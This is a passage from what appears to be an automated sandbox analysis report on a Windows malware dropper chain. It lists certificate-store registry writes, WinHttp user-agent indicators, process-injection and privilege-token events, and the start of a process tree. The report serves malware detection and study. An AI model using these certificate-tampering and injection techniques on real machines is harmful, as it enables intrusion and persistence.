6e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 HGT.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Suliqecyjae.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Suliqecyjae.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 HGT.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e hjjgaa.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Suliqecyjae.exe -
Script User-Agent 15 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 13 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 38 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 47 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 54 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 48 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 56 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 36 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 46 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 61 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 50 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 55 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: CmdExeWriteProcessMemorySpam 7 IoCs
Processes:
gaooo.exemd7_7dfj.exeaskinstall29.execustomer4.exeprivacytools5.exesetup.exesetup.exepid process 4052 gaooo.exe 16816 md7_7dfj.exe 17092 askinstall29.exe 7740 customer4.exe 8360 privacytools5.exe 8884 setup.exe 9044 setup.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup.tmpSetup.exeprolab.tmpSuliqecyjae.exepid process 916 Setup.tmp 916 Setup.tmp 1468 Setup.exe 1468 Setup.exe 1468 Setup.exe 1468 Setup.exe 928 prolab.tmp 928 prolab.tmp 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe 468 Suliqecyjae.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
WerFault.exepid process 1328 5604 WerFault.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
setup.exepid process 10588 setup.exe 460 -
Suspicious behavior: MapViewOfSection 52 IoCs
Processes:
privacytools5.exeexplorer.exeexplorer.exeexplorer.exeguesjdiguesjdiguesjdipid process 8700 privacytools5.exe 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 7020 explorer.exe 7020 explorer.exe 6936 explorer.exe 6936 explorer.exe 6968 explorer.exe 6968 explorer.exe 7020 explorer.exe 7020 explorer.exe 7020 explorer.exe 7020 explorer.exe 6968 explorer.exe 6968 explorer.exe 6968 explorer.exe 6968 explorer.exe 6936 explorer.exe 6936 explorer.exe 6936 explorer.exe 6936 explorer.exe 3044 guesjdi 6936 explorer.exe 6936 explorer.exe 6968 explorer.exe 6968 explorer.exe 7020 explorer.exe 7020 explorer.exe 7020 explorer.exe 7020 explorer.exe 6936 explorer.exe 6936 explorer.exe 6968 explorer.exe 6968 explorer.exe 8208 guesjdi 10652 guesjdi -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Setup.exetaskkill.exeSuliqecyjae.exetaskkill.exepowershell.exepowershell.EXE7za.exesetup.exe7za.exesetup.execsrss.exesc.exepowershell.EXEWerFault.exeupdateprofile-15.exedescription pid process Token: SeRestorePrivilege 1468 Setup.exe Token: SeBackupPrivilege 1468 Setup.exe Token: SeDebugPrivilege 2276 taskkill.exe Token: SeDebugPrivilege 468 Suliqecyjae.exe Token: SeDebugPrivilege 4104 taskkill.exe Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeDebugPrivilege 8928 powershell.exe Token: SeDebugPrivilege 9700 powershell.EXE Token: SeRestorePrivilege 10488 7za.exe Token: 35 10488 7za.exe Token: SeSecurityPrivilege 10488 7za.exe Token: SeSecurityPrivilege 10488 7za.exe Token: SeSystemEnvironmentPrivilege 10588 setup.exe Token: SeDebugPrivilege 10588 setup.exe Token: SeLoadDriverPrivilege 10588 setup.exe Token: SeRestorePrivilege 10752 7za.exe Token: 35 10752 7za.exe Token: SeSecurityPrivilege 10752 7za.exe Token: SeSecurityPrivilege 10752 7za.exe Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeDebugPrivilege 10824 setup.exe Token: SeImpersonatePrivilege 10824 setup.exe Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeSystemEnvironmentPrivilege 12804 csrss.exe Token: SeSecurityPrivilege 15984 sc.exe Token: SeSecurityPrivilege 15984 sc.exe Token: SeDebugPrivilege 16840 powershell.EXE Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeDebugPrivilege 5604 WerFault.exe Token: SeShutdownPrivilege 1328 Token: SeRestorePrivilege 7276 updateprofile-15.exe Token: SeBackupPrivilege 7276 updateprofile-15.exe Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 Token: SeShutdownPrivilege 1328 -
Suspicious use of FindShellTrayWindow 26 IoCs
Processes:
Setup3310.tmpSetup.tmpDelta.tmpPictureLAb.tmpprolab.tmpchrome.exepid process 2024 Setup3310.tmp 916 Setup.tmp 1612 Delta.tmp 668 PictureLAb.tmp 928 prolab.tmp 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 7532 chrome.exe 7532 chrome.exe 7532 chrome.exe 1328 1328 1328 1328 -
Suspicious use of SendNotifyMessage 35 IoCs
Processes:
pid process 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 1328 -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
6123.tmp.exepid process 6876 6123.tmp.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup3310.exeSetup3310.tmpSetup.exeSetup.tmpDelta.exeDelta.tmpPictureLAb.exePictureLAb.tmpSetup.exedescription pid process target process PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 1152 wrote to memory of 2024 1152 Setup3310.exe Setup3310.tmp PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 2024 wrote to memory of 784 2024 Setup3310.tmp Setup.exe PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 784 wrote to memory of 916 784 Setup.exe Setup.tmp PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 916 wrote to memory of 1104 916 Setup.tmp Delta.exe PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1104 wrote to memory of 1612 1104 Delta.exe Delta.tmp PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 1612 wrote to memory of 1468 1612 Delta.tmp Setup.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 916 wrote to memory of 324 916 Setup.tmp PictureLAb.exe PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 324 wrote to memory of 668 324 PictureLAb.exe PictureLAb.tmp PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 668 wrote to memory of 2016 668 PictureLAb.tmp Setup.exe PID 2016 wrote to memory of 612 2016 Setup.exe Setup.tmp
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\Setup3310.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1152 -
